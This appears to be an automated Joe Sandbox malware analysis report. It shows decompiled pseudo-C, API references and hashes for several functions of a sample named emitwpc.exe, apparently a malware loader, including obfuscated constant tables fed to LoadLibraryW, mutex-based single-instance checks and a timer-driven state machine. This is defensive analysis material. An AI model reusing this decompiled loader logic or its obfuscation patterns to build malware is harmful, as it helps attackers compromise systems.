Opcode ID: 606d1b8df853d8e184a37fd8c36034fa6fd7a9e5dd8ea76de43f4536607b533f
Instruction ID: 57595d833cfd1564e633f03c8b46cbf1a230f7da13cef14a24cc2b95305ee4d6
Opcode Fuzzy Hash: 606d1b8df853d8e184a37fd8c36034fa6fd7a9e5dd8ea76de43f4536607b533f
Instruction Fuzzy Hash: 5682B5F08167A88FDB618F429E857CEBA31BB51344F5096C8D25D3A215CB760BC2CF89

Uniqueness

Uniqueness Score: 100.00%

Function 002AC801, Relevance: 10.6, APIs: 7, Instructions: 93
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E002AC801(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _t15;
				intOrPtr _t16;

				 *((intOrPtr*)(__esi + 0xf)) =  *((intOrPtr*)(__esi + 0xf)) + __edx;
				 *__eax =  *__eax + __eax;
				_t15 = GetTickCount();
				if( *0x2b4ca8 > _t15) {
					L19:
					return _t15;
				} else {
					_t16 =  *0x2b4cac; // 0x0
					_t15 = _t16 - 1;
					if(_t15 > 3) {
						goto L19;
					} else {
						switch( *((intOrPtr*)(_t15 * 4 +  &M002AC96C))) {
							case 0:
								 *0x2b4cac = 0;
								_t17 = L002A6E30(__edi, __esi, _t38);
								_t39 = _t17;
								if(_t17 == 0) {
									goto L7;
								} else {
									_t17 = L002A7ED0(__edi, __esi, _t39); // executed
									_t40 = _t17;
									if(_t17 == 0) {
										goto L7;
									} else {
										_t17 = E002ADE40(__ebx, _t26, __edi, _t40);
										if(_t17 != 0) {
											goto L7;
										} else {
											_t18 = GetTickCount();
											_t20 = GetTickCount();
											 *0x2b4cac = 2;
											_t22 = _t20 + 0xbb8 + _t18 % 0xbb8;
											 *0x2b4ca8 = _t22;
											return _t22;
										}
									}
								}
								goto L20;
							case 1:
								 *0x2b4cac = 0;
								__eflags = L002A9020(__edi, __esi, __eflags);
								if(__eflags == 0) {
									L7:
									 *0x2b4cac = 4;
									return _t17;
								} else {
									__eax = L002A9810(__edi, __esi, __eflags); // executed
									__eflags = __eax;
									if(__eax == 0) {
										goto L7;
									} else {
										L002AAAE0();
										__eflags = __eax;
										if(__eflags == 0) {
											goto L7;
										} else {
											__eflags = L002AB930(__edx, __edi, __esi, __eflags);
											if(__eflags == 0) {
												goto L7;
											} else {
												__eflags = L002ABA20(__edi, __esi, __eflags);
												if(__eflags == 0) {
													goto L7;
												} else {
													__eax = L002ABFF0(__edi, __esi, __eflags); // executed
													__eflags = __eax;
													if(__eax == 0) {
														goto L7;
													} else {
														__esp = __esp - 8;
														__eax = E002A6B80(__ecx);
														__esp = __esp + 8;
														__eflags = __eax;
														if(__eax == 0) {
															goto L7;
														} else {
															_push(__ecx);
															__ecx = __eax;
															__eax = E002AE270(__eax);
															__esp = __esp + 4;
															__eflags = __eax;
															if(__eax == 0) {
																goto L7;
															} else {
																__eax = GetTickCount();
																__edx = 0;
																__ecx = 0xbb8;
																_t13 = __eax % 0xbb8;
																__eax = __eax / 0xbb8;
																__edx = _t13;
																__esi = _t13;
																__eax = GetTickCount();
																__eax = __eax + 0xbb8;
																 *0x2b4cac = 3;
																__eax = __eax + _t13;
																__eflags = __eax;
																 *0x2b4ca8 = __eax;
																_pop(__esi);
																return __eax;
															}
														}
													}
												}
											}
										}
									}
								}
								goto L20;
							case 2:
								 *0x2b4cac = 0;
								__esi = GetTickCount(); // executed
								__eax = E002AC6B0(__ebx, __eflags); // executed
								__esi = __esi + __eax;
								__eflags = __esi;
								 *0x2b4cac = 3;
								 *0x2b4ca8 = __esi;
								_pop(__esi);
								return __eax;
								goto L20;
							case 3:
								__eax = SetEvent( *0x2b2d58);
								goto L19;
						}
					}
				}
				L20:
			}

0x002ac806
0x002ac80c
0x002ac80e
0x002ac81a
0x002ac967
0x002ac968
0x002ac820
0x002ac820
0x002ac825
0x002ac829
0x00000000
0x002ac82f
0x002ac82f
0x00000000
0x002ac836
0x002ac840
0x002ac845
0x002ac847
0x00000000
0x002ac849
0x002ac849
0x002ac84e
0x002ac850
0x00000000
0x002ac852
0x002ac852
0x002ac859
0x00000000
0x002ac85b
0x002ac85b
0x002ac86c
0x002ac877
0x002ac881
0x002ac883
0x002ac889
0x002ac889
0x002ac859
0x002ac850
0x00000000
0x00000000
0x002ac89a
0x002ac8a9
0x002ac8ab
0x002ac88c
0x002ac88c
0x002ac897
0x002ac8ad
0x002ac8ad
0x002ac8b2
0x002ac8b4
0x00000000
0x002ac8b6
0x002ac8b6
0x002ac8bb
0x002ac8bd
0x00000000
0x002ac8bf
0x002ac8c4
0x002ac8c6
0x00000000
0x002ac8c8
0x002ac8cd
0x002ac8cf
0x00000000
0x002ac8d1
0x002ac8d1
0x002ac8d6
0x002ac8d8
0x00000000
0x002ac8da
0x002ac8da
0x002ac8dd
0x002ac8e2
0x002ac8e5
0x002ac8e7
0x00000000
0x002ac8e9
0x002ac8e9
0x002ac8ef
0x002ac8f1
0x002ac8f6
0x002ac8f9
0x002ac8fb
0x00000000
0x002ac8fd
0x002ac8fd
0x002ac903
0x002ac905
0x002ac90a
0x002ac90a
0x002ac90a
0x002ac90c
0x002ac90e
0x002ac914
0x002ac919
0x002ac923
0x002ac923
0x002ac925
0x002ac92a
0x002ac92b
0x002ac92b
0x002ac8fb
0x002ac8e7
0x002ac8d8
0x002ac8cf
0x002ac8c6
0x002ac8bd
0x002ac8b4
0x00000000
0x00000000
0x002ac92e
0x002ac93e
0x002ac940
0x002ac945
0x002ac945
0x002ac947
0x002ac951
0x002ac957
0x002ac958
0x00000000
0x00000000
0x002ac961
0x00000000
0x00000000
0x002ac82f
0x002ac829
0x00000000

APIs

GetTickCount.KERNEL32 ref: 002AC80E
SetEvent.KERNEL32 ref: 002AC961

Part of subcall function 002ADE40: lstrcmpiW.KERNEL32(C:\Windows\system32\emitwpc.exe,C:\Windows\system32\emitwpc.exe,?,002AC857), ref: 002ADE78

GetTickCount.KERNEL32 ref: 002AC85B
GetTickCount.KERNEL32 ref: 002AC86C
GetTickCount.KERNEL32 ref: 002AC8FD
GetTickCount.KERNEL32 ref: 002AC90E
GetTickCount.KERNEL32 ref: 002AC938

Part of subcall function 002AC6B0: GetTickCount.KERNEL32 ref: 002AC6BB
Part of subcall function 002AC6B0: lstrlen.KERNEL32(00000000), ref: 002AC6E5
Part of subcall function 002AC6B0: GetTickCount.KERNEL32 ref: 002AC7B6

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CountTick$Eventlstrcmpilstrlen
String ID:
API String ID: 637603502-0
Opcode ID: 9f69a73ae200154cd815c8c6bf1efe3ae5a821547f22bd77683f44475f589406
Instruction ID: 84333a95eb83b8039e6fbbda9925d58b8dfb5145d2d283851a41f05ad051c331
Opcode Fuzzy Hash: 9f69a73ae200154cd815c8c6bf1efe3ae5a821547f22bd77683f44475f589406
Instruction Fuzzy Hash: 0631E3725282029FD715BFB5BC4D3563A94AF02784F194927E805C35ABEF78C868CF61

Uniqueness

Uniqueness Score: 0.01%

Function 002AC9C7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registryCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E002AC9C7(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				int _t26;
				struct HWND__* _t29;
				signed int _t32;
				long _t34;
				struct HWND__* _t55;
				void* _t59;

				L002A1D10(__ecx, 0xcc, __edi, __esi);
				 *0x2b3344(_t59 - 0xd0, 0x40, _t18,  *0x2b2d5c);
				L002A1DB0(_t18);
				E002A17E0(0x30);
				 *(_t59 - 0x30) = 0x30;
				 *((intOrPtr*)(_t59 - 8)) = _t59 - 0xd0;
				 *((intOrPtr*)(_t59 - 0x10)) = 1;
				 *((intOrPtr*)(_t59 - 0x28)) = E002AC980;
				 *((intOrPtr*)(_t59 - 0x1c)) = GetModuleHandleW(0);
				_t26 = RegisterClassExW(_t59 - 0x30);
				if(_t26 != 0) {
					_t29 = CreateWindowExW(0, _t59 - 0xd0, 0, 0xcf0000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0, 0, GetModuleHandleW(0), 0); // executed
					_t55 = _t29;
					if(_t55 != 0) {
						goto 0x2c18df;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						SetTimer(_t55, GetTickCount(), ??, ??); // executed
						_t32 = GetTickCount();
						_t34 = GetTickCount();
						 *0x2b4cac = 1;
						 *0x2b4ca8 = _t34 + 0xbb8 + _t32 % 0xbb8;
						if(GetMessageW(_t59 - 0x4c, 0, 0, 0) > 0) {
							while(1) {
								TranslateMessage(_t59 - 0x4c);
								DispatchMessageW(_t59 - 0x4c); // executed
								if(WaitForSingleObject( *0x2b2d58, 0) != 0x102) {
									goto L8;
								}
								goto 0x2c18f7;
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								if(GetMessageW() > 0) {
									continue;
								}
								goto L8;
							}
						}
						L8:
						DestroyWindow(_t55);
					}
					goto 0x2c190f;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t26 = UnregisterClassW();
				}
				goto 0x2c1926;
				return _t26;
			}

0x002ac9d1
0x002ac9e3
0x002ac9ee
0x002ac9fb
0x002aca06
0x002aca0f
0x002aca12
0x002aca19
0x002aca26
0x002aca2d
0x002aca36
0x002aca6f
0x002aca75
0x002aca79
0x002aca7f
0x002aca84
0x002aca85
0x002aca86
0x002aca87
0x002aca88
0x002aca91
0x002aca97
0x002acaa8
0x002acab3
0x002acac3
0x002acad6
0x002acae0
0x002acae4
0x002acaee
0x002acb07
0x00000000
0x00000000
0x002acb09
0x002acb0e
0x002acb0f
0x002acb10
0x002acb11
0x002acb12
0x002acb1b
0x00000000
0x00000000
0x00000000
0x002acb1b
0x002acae0
0x002acb1d
0x002acb1e
0x002acb1e
0x002acb24
0x002acb29
0x002acb2a
0x002acb2b
0x002acb2c
0x002acb2d
0x002acb2d
0x002acb33
0x002acb38

APIs

_snwprintf.NTDLL ref: 002AC9E3
GetModuleHandleW.KERNEL32(00000000), ref: 002ACA20
RegisterClassExW.USER32(00000030), ref: 002ACA2D
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 002ACA40
CreateWindowExW.USER32(00000000,?,00000000,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 002ACA6F

Strings

0, xrefs: 002ACA06

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: HandleModule$ClassCreateRegisterWindow_snwprintf
String ID: 0
API String ID: 1398201921-4108050209
Opcode ID: b04b966b725bf773a3e3fd09375d90d0beb4e81873772efcaa548c7e373011c5
Instruction ID: 7314e165a8933105a74faaee06cfc652e73171da711172c5b836e4a2228b17fb
Opcode Fuzzy Hash: b04b966b725bf773a3e3fd09375d90d0beb4e81873772efcaa548c7e373011c5
Instruction Fuzzy Hash: D8116571964215ABE711ABD0EC0AFAE76B8AF04740F240259F605B61C1DFB15624CF65

Uniqueness

Uniqueness Score: 0.03%

Function 002AD8D4, Relevance: 9.0, APIs: 6, Instructions: 22
fileCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E002AD8D4() {
				void* _t1;
				int _t3;
				void* _t7;
				void* _t9;
				void* _t11;

				_t1 = MapViewOfFile(); // executed
				_t7 = _t1;
				if(_t7 != 0) {
					 *0x2b3304 = RtlComputeCrc32(0, _t7, GetFileSize(_t11, 0));
					UnmapViewOfFile(_t7);
				}
				CloseHandle(_t9);
				_t3 = CloseHandle(_t11);
				return _t3;
			}

0x002ad8d4
0x002ad8da
0x002ad8de
0x002ad8f4
0x002ad8f9
0x002ad8f9
0x002ad900
0x002ad908
0x002ad910

APIs

MapViewOfFile.KERNELBASE ref: 002AD8D4
GetFileSize.KERNEL32(?,00000000), ref: 002AD8E3
RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 002AD8ED
UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 002AD8F9
CloseHandle.KERNEL32 ref: 002AD900
CloseHandle.KERNEL32 ref: 002AD908

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: File$CloseHandleView$ComputeCrc32SizeUnmap
String ID:
API String ID: 741204879-0
Opcode ID: 3f3c3be54c03231ebf5386c4d07a9dc5096dbbab5d4cb02816a99f3ba95b85e3
Instruction ID: 1ca7000cd30baa6c93d9aeee214314644978f114543d0ca1da483224826d6e1f
Opcode Fuzzy Hash: 3f3c3be54c03231ebf5386c4d07a9dc5096dbbab5d4cb02816a99f3ba95b85e3
Instruction Fuzzy Hash: 1BE01D71650201AFD301AFA8BD8CB9E7BACEF49302F004125F605D1150CF744B054B61

Uniqueness

Uniqueness Score: 0.01%

Function 002ABFFA, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140
libraryUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E002ABFFA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t121;
				void* _t124;
				struct HINSTANCE__* _t127;
				void* _t134;

				_t124 = __ebx;
				 *((intOrPtr*)(_t134 - 0x1d8)) = 0xcc3200da;
				 *((intOrPtr*)(_t134 - 0x1d4)) = 0x4caa0f36;
				 *((intOrPtr*)(_t134 - 0x1d0)) = 0xa9a6dbf6;
				 *((intOrPtr*)(_t134 - 0x1cc)) = 0xbaf47dac;
				 *((intOrPtr*)(_t134 - 0x1c8)) = 0x460af3b5;
				 *((intOrPtr*)(_t134 - 0x1c4)) = 0x94386c61;
				 *((intOrPtr*)(_t134 - 0x1c0)) = 0x18b97ad8;
				 *((intOrPtr*)(_t134 - 0x1bc)) = 0xc352812b;
				 *((intOrPtr*)(_t134 - 0x1b8)) = 0x4c3a87c0;
				 *((intOrPtr*)(_t134 - 0x1b4)) = 0x8330f4b1;
				 *((intOrPtr*)(_t134 - 0x1b0)) = 0xc15f793c;
				 *((intOrPtr*)(_t134 - 0x1ac)) = 0x6fa8c569;
				 *((intOrPtr*)(_t134 - 0x1a8)) = 0x3b11dcf3;
				 *((intOrPtr*)(_t134 - 0x1a4)) = 0xaa96ff6;
				 *((intOrPtr*)(_t134 - 0x1a0)) = 0xb1d84eb1;
				 *((intOrPtr*)(_t134 - 0x19c)) = 0x49aa0315;
				 *((intOrPtr*)(_t134 - 0x198)) = 0x7f8f2941;
				 *((intOrPtr*)(_t134 - 0x194)) = 0x2ad17b9c;
				 *((intOrPtr*)(_t134 - 0x190)) = 0xfa688bbd;
				 *((intOrPtr*)(_t134 - 0x18c)) = 0x9c14558b;
				 *((intOrPtr*)(_t134 - 0x188)) = 0x521f59f7;
				 *((intOrPtr*)(_t134 - 0x184)) = 0xbefac58f;
				 *((intOrPtr*)(_t134 - 0x180)) = 0x5904ec23;
				 *((intOrPtr*)(_t134 - 0x17c)) = 0xa574fc83;
				 *((intOrPtr*)(_t134 - 0x178)) = 0x80f4869e;
				 *((intOrPtr*)(_t134 - 0x174)) = 0x8a3469d1;
				 *((intOrPtr*)(_t134 - 0x170)) = 0x4a6cd0db;
				 *((intOrPtr*)(_t134 - 0x16c)) = 0x7cbc94d;
				 *((intOrPtr*)(_t134 - 0x168)) = 0xdbda1ff1;
				 *((intOrPtr*)(_t134 - 0x164)) = 0x1436584f;
				 *((intOrPtr*)(_t134 - 0x160)) = 0xd8c86fa7;
				 *((intOrPtr*)(_t134 - 0x15c)) = 0x76c3ce23;
				 *((intOrPtr*)(_t134 - 0x158)) = 0x81773cb;
				 *((intOrPtr*)(_t134 - 0x154)) = 0xd159ceef;
				 *((intOrPtr*)(_t134 - 0x150)) = 0xd26daf02;
				 *((intOrPtr*)(_t134 - 0x14c)) = 0x3b4ff9fb;
				 *((intOrPtr*)(_t134 - 0x148)) = 0x21d7e98c;
				 *((intOrPtr*)(_t134 - 0x144)) = 0xbc079b8a;
				 *((intOrPtr*)(_t134 - 0x140)) = 0x2a8e3c43;
				 *((intOrPtr*)(_t134 - 0x13c)) = 0xc16a66e8;
				 *((intOrPtr*)(_t134 - 0x138)) = 0xf3619966;
				 *((intOrPtr*)(_t134 - 0x134)) = 0x376b47ce;
				 *((intOrPtr*)(_t134 - 0x130)) = 0x4360769;
				 *((intOrPtr*)(_t134 - 0x12c)) = 0x17821f88;
				 *((intOrPtr*)(_t134 - 0x128)) = 0x55b9b01a;
				 *((intOrPtr*)(_t134 - 0x124)) = 0xeaef3a3e;
				 *((intOrPtr*)(_t134 - 0x120)) = 0x8c07e497;
				 *((intOrPtr*)(_t134 - 0x11c)) = 0xd3d551df;
				 *((intOrPtr*)(_t134 - 0x118)) = 0x7abd1207;
				 *((intOrPtr*)(_t134 - 0x114)) = 0x1d2bf980;
				 *((intOrPtr*)(_t134 - 0x110)) = 0x97add55b;
				 *((intOrPtr*)(_t134 - 0x10c)) = 0x201af7db;
				 *((intOrPtr*)(_t134 - 0x108)) = 0x5e56629d;
				 *((intOrPtr*)(_t134 - 0x104)) = 0x11076f6d;
				 *((intOrPtr*)(_t134 - 0x100)) = 0x89741eba;
				 *((intOrPtr*)(_t134 - 0xfc)) = 0xd2948018;
				 *((intOrPtr*)(_t134 - 0xf8)) = 0xd806311c;
				 *((intOrPtr*)(_t134 - 0xf4)) = 0x4ab1182b;
				 *((intOrPtr*)(_t134 - 0xf0)) = 0xa54d5ba1;
				 *((intOrPtr*)(_t134 - 0xec)) = 0x495ef7c7;
				 *((intOrPtr*)(_t134 - 0xe8)) = 0x30ec95f0;
				 *((intOrPtr*)(_t134 - 0xe4)) = 0xcdd9565c;
				 *((intOrPtr*)(_t134 - 0xe0)) = 0x2d57853e;
				 *((intOrPtr*)(_t134 - 0xdc)) = 0xb68f3314;
				 *((intOrPtr*)(_t134 - 0xd8)) = 0x1ad71470;
				 *((intOrPtr*)(_t134 - 0xd4)) = 0xc1b113c5;
				 *((intOrPtr*)(_t134 - 0xd0)) = 0x1af6df0b;
				 *((intOrPtr*)(_t134 - 0xcc)) = 0xe29175e7;
				 *((intOrPtr*)(_t134 - 0xc8)) = 0xb8bb9f07;
				 *((intOrPtr*)(_t134 - 0xc4)) = 0x3f399857;
				 *((intOrPtr*)(_t134 - 0xc0)) = 0x81fd2cdb;
				 *((intOrPtr*)(_t134 - 0xbc)) = 0x19f123a;
				 *((intOrPtr*)(_t134 - 0xb8)) = 0x28bff5a;
				 *((intOrPtr*)(_t134 - 0xb4)) = 0x6bfe8ce6;
				 *((intOrPtr*)(_t134 - 0xb0)) = 0xd7574e3f;
				 *((intOrPtr*)(_t134 - 0xac)) = 0x3691786d;
				 *((intOrPtr*)(_t134 - 0xa8)) = 0x588766c9;
				 *((intOrPtr*)(_t134 - 0xa4)) = 0x367390eb;
				 *((intOrPtr*)(_t134 - 0xa0)) = 0xb1ec2781;
				 *((intOrPtr*)(_t134 - 0x9c)) = 0x12946a5f;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t134 - 0x98)) = 0x1960b331;
				 *((intOrPtr*)(_t134 - 0x94)) = 0xcebf7c09;
				 *((intOrPtr*)(_t134 - 0x90)) = 0xd60051e8;
				 *((intOrPtr*)(_t134 - 0x8c)) = 0xb3380c0a;
				 *((intOrPtr*)(_t134 - 0x88)) = 0xc94d4e15;
				 *((intOrPtr*)(_t134 - 0x84)) = 0x19ee285d;
				 *((intOrPtr*)(_t134 - 0x80)) = 0x334db5f7;
				 *((intOrPtr*)(_t134 - 0x7c)) = 0x9071bc52;
				 *((intOrPtr*)(_t134 - 0x78)) = 0x707419a;
				 *((intOrPtr*)(_t134 - 0x74)) = 0xd5e6fd75;
				 *((intOrPtr*)(_t134 - 0x70)) = 0xee9fe7eb;
				 *((intOrPtr*)(_t134 - 0x6c)) = 0x31474756;
				 *((intOrPtr*)(_t134 - 0x68)) = 0x11eef71f;
				 *((intOrPtr*)(_t134 - 0x64)) = 0x19c1f92f;
				 *((intOrPtr*)(_t134 - 0x60)) = 0x6099c568;
				 *((intOrPtr*)(_t134 - 0x5c)) = 0x38e0c079;
				 *((intOrPtr*)(_t134 - 0x58)) = 0x81396fb;
				 *((intOrPtr*)(_t134 - 0x54)) = 0x8daf52c0;
				 *((intOrPtr*)(_t134 - 0x50)) = 0x6d67ade1;
				 *((intOrPtr*)(_t134 - 0x4c)) = 0xd63d8fc1;
				 *((intOrPtr*)(_t134 - 0x48)) = 0x3eceb35d;
				 *((intOrPtr*)(_t134 - 0x44)) = 0x5a0d352b;
				 *((intOrPtr*)(_t134 - 0x40)) = 0x3f59c3c;
				 *((intOrPtr*)(_t134 - 0x3c)) = 0x380c7f9a;
				 *((intOrPtr*)(_t134 - 0x38)) = 0xf08dd99c;
				 *((intOrPtr*)(_t134 - 0x34)) = 0x2ad4aea7;
				 *((intOrPtr*)(_t134 - 0x30)) = 0xd49cbb05;
				 *((intOrPtr*)(_t134 - 0x2c)) = 0xaca865e;
				 *((intOrPtr*)(_t134 - 0x28)) = 0x34b98ced;
				 *((intOrPtr*)(_t134 - 0x24)) = 0x44f96df3;
				 *((intOrPtr*)(_t134 - 0x20)) = 0x5ceafb6d;
				 *((intOrPtr*)(_t134 - 0x1c)) = 0xe0907016;
				 *((intOrPtr*)(_t134 - 0x18)) = 0xbfaa049e;
				 *((intOrPtr*)(_t134 - 0x14)) = 0xf51e66fc;
				 *((intOrPtr*)(_t134 - 0x10)) = 0xddafbd8f;
				 *((intOrPtr*)(_t134 - 0xc)) = 0x7ec84b38;
				 *((intOrPtr*)(_t134 - 8)) = 0xee2f8d5b;
				 *((intOrPtr*)(_t134 - 4)) = 0x2ee75a83;
				_t132 = L002A1D10(0x2b1260, 0x134, __edi, __esi);
				_t121 = LoadLibraryW(_t120); // executed
				 *0x2b4ca4 = _t121;
				L002A1DB0(_t132);
				_t127 =  *0x2b4ca4; // 0x743a0000
				return E002A1570(_t124, _t127, _t134 - 0x1d8, _t132, 0x76, 0x539f34f7, 0x2b4ab0);
			}

0x002abffa
0x002abffa
0x002ac004
0x002ac00e
0x002ac018
0x002ac022
0x002ac02c
0x002ac036
0x002ac040
0x002ac04a
0x002ac054
0x002ac05e
0x002ac068
0x002ac072
0x002ac07c
0x002ac086
0x002ac090
0x002ac09a
0x002ac0a4
0x002ac0ae
0x002ac0b8
0x002ac0c2
0x002ac0cc
0x002ac0d6
0x002ac0e0
0x002ac0ea
0x002ac0f4
0x002ac0fe
0x002ac108
0x002ac112
0x002ac11c
0x002ac126
0x002ac130
0x002ac13a
0x002ac144
0x002ac14e
0x002ac158
0x002ac162
0x002ac16c
0x002ac176
0x002ac180
0x002ac18a
0x002ac194
0x002ac19e
0x002ac1a8
0x002ac1b2
0x002ac1bc
0x002ac1c6
0x002ac1d0
0x002ac1da
0x002ac1e4
0x002ac1ee
0x002ac1f8
0x002ac202
0x002ac20c
0x002ac216
0x002ac220
0x002ac22a
0x002ac234
0x002ac23e
0x002ac248
0x002ac252
0x002ac25c
0x002ac266
0x002ac270
0x002ac27a
0x002ac284
0x002ac28e
0x002ac298
0x002ac2a2
0x002ac2ac
0x002ac2b6
0x002ac2c0
0x002ac2ca
0x002ac2d4
0x002ac2de
0x002ac2e8
0x002ac2f2
0x002ac2fc
0x002ac306
0x002ac310
0x002ac31a
0x002ac324
0x002ac333
0x002ac33d
0x002ac347
0x002ac351
0x002ac35b
0x002ac365
0x002ac36c
0x002ac373
0x002ac37a
0x002ac381
0x002ac388
0x002ac38f
0x002ac396
0x002ac39d
0x002ac3a4
0x002ac3ab
0x002ac3b2
0x002ac3b9
0x002ac3c0
0x002ac3c7
0x002ac3ce
0x002ac3d5
0x002ac3dc
0x002ac3e3
0x002ac3ea
0x002ac3f1
0x002ac3f8
0x002ac3ff
0x002ac406
0x002ac40d
0x002ac414
0x002ac41b
0x002ac422
0x002ac429
0x002ac430
0x002ac437
0x002ac43e
0x002ac44d
0x002ac450
0x002ac458
0x002ac45d
0x002ac462
0x002ac486

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002AC450

Strings

VGG1, xrefs: 002AC388
Q, xrefs: 002AC33D
>:, xrefs: 002AC1BC
+5Z, xrefs: 002AC3CE

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: +5Z$>:$VGG1$Q
API String ID: 1029625771-1117859777
Opcode ID: ec022adf70102170beafe97cfce22602554042455104a7baed84ab095c17626c
Instruction ID: 1b65d62a896cea21d1ed3f1c5460a3a9313425be720fc0886939373d1aea0f0e
Opcode Fuzzy Hash: ec022adf70102170beafe97cfce22602554042455104a7baed84ab095c17626c
Instruction Fuzzy Hash: A9A1C6B4C06769CBEB20DF819A957CDBA70FB16304F6086C8D5693B300CB311A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 002A103C, Relevance: 7.5, APIs: 5, Instructions: 46
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E002A103C(void* __esi, void* __eflags) {
				void* _t29;
				void* _t37;
				void* _t61;
				void* _t62;
				int _t76;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t87;
				void* _t89;

				_t78 = __esi;
				 *(_t85 - 4) = 0;
				 *((intOrPtr*)(_t85 - 8)) = GetCurrentProcessId();
				_t76 = 0; // executed
				L002A1C00(E002A1000, _t85 - 4); // executed
				_t4 = _t76 + 0x14; // 0x14
				_t79 = L002A1D10(0x2b0000, _t4, 0, _t78);
				 *0x2b3344(_t85 - 0x118, 0x40, _t79,  *(_t85 - 4), 0x64da9f26);
				_t89 = _t87 + 0x14;
				_t66 = _t79;
				L002A1DB0(_t79);
				_t29 = CreateMutexW(0, 1, _t85 - 0x118); // executed
				_t61 = _t29;
				if(_t61 == 0) {
					L6:
					goto 0x2c0045;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t80 = L002A1D10(_t66, 0xcc, _t76, _t79);
					 *0x2b3344(_t85 - 0x118, 0x40, _t80,  *((intOrPtr*)(_t85 - 8)));
					_t67 = _t80;
					L002A1DB0(_t80);
					_t62 = CreateMutexW(0, 1, _t85 - 0x118);
					if(_t62 != 0) {
						goto 0x2c0062;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t37 = L002A1D10(_t67, 0xcc, _t76, _t80);
						 *0x2b3344(_t85 - 0x98, 0x40, _t37,  *((intOrPtr*)(_t85 - 8)));
						L002A1DB0(_t37);
						_t83 = CreateEventW(0, 1, 0, _t85 - 0x98);
						if(_t83 != 0) {
							goto 0x2c007f;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							GetModuleFileNameW();
							_push(_t85 - 0x18);
							_push(0x80);
							if(L002A2020(_t83) != 0) {
								WaitForSingleObject(_t83, 0xffffffff);
								CloseHandle( *(_t85 - 0x18));
								CloseHandle( *(_t85 - 0x14));
							}
							CloseHandle(_t83);
						}
						CloseHandle(_t62);
					}
				} else {
					if(GetLastError() == 0xb7) {
						_t84 = L002A1D10(0x2b0020, _t51 + 0x1d, 0, _t79);
						 *0x2b3344(_t85 - 0x98, 0x40, _t84,  *(_t85 - 4));
						_t89 = _t89 + 0x14;
						_t66 = _t84;
						L002A1DB0(_t84);
						_t79 = CreateEventW(0, 1, 0, _t85 - 0x98);
						if(_t79 != 0) {
							SetEvent(_t79);
							CloseHandle(_t79);
							_t76 = 1;
						}
					}
					CloseHandle(_t61);
					if(_t76 == 0) {
						goto L6;
					}
				}
				return _t76;
			}

0x002a103c
0x002a103c
0x002a104c
0x002a1054
0x002a1056
0x002a1060
0x002a1070
0x002a107f
0x002a1085
0x002a1088
0x002a108a
0x002a1099
0x002a109f
0x002a10a3
0x002a111f
0x002a111f
0x002a1124
0x002a1125
0x002a1126
0x002a1127
0x002a1128
0x002a1129
0x002a112a
0x002a112b
0x002a1136
0x002a1145
0x002a114e
0x002a1150
0x002a1166
0x002a116a
0x002a1170
0x002a1175
0x002a1176
0x002a1177
0x002a1178
0x002a1179
0x002a117a
0x002a117b
0x002a117c
0x002a117f
0x002a1196
0x002a11a1
0x002a11b9
0x002a11bd
0x002a11bf
0x002a11c4
0x002a11c5
0x002a11c6
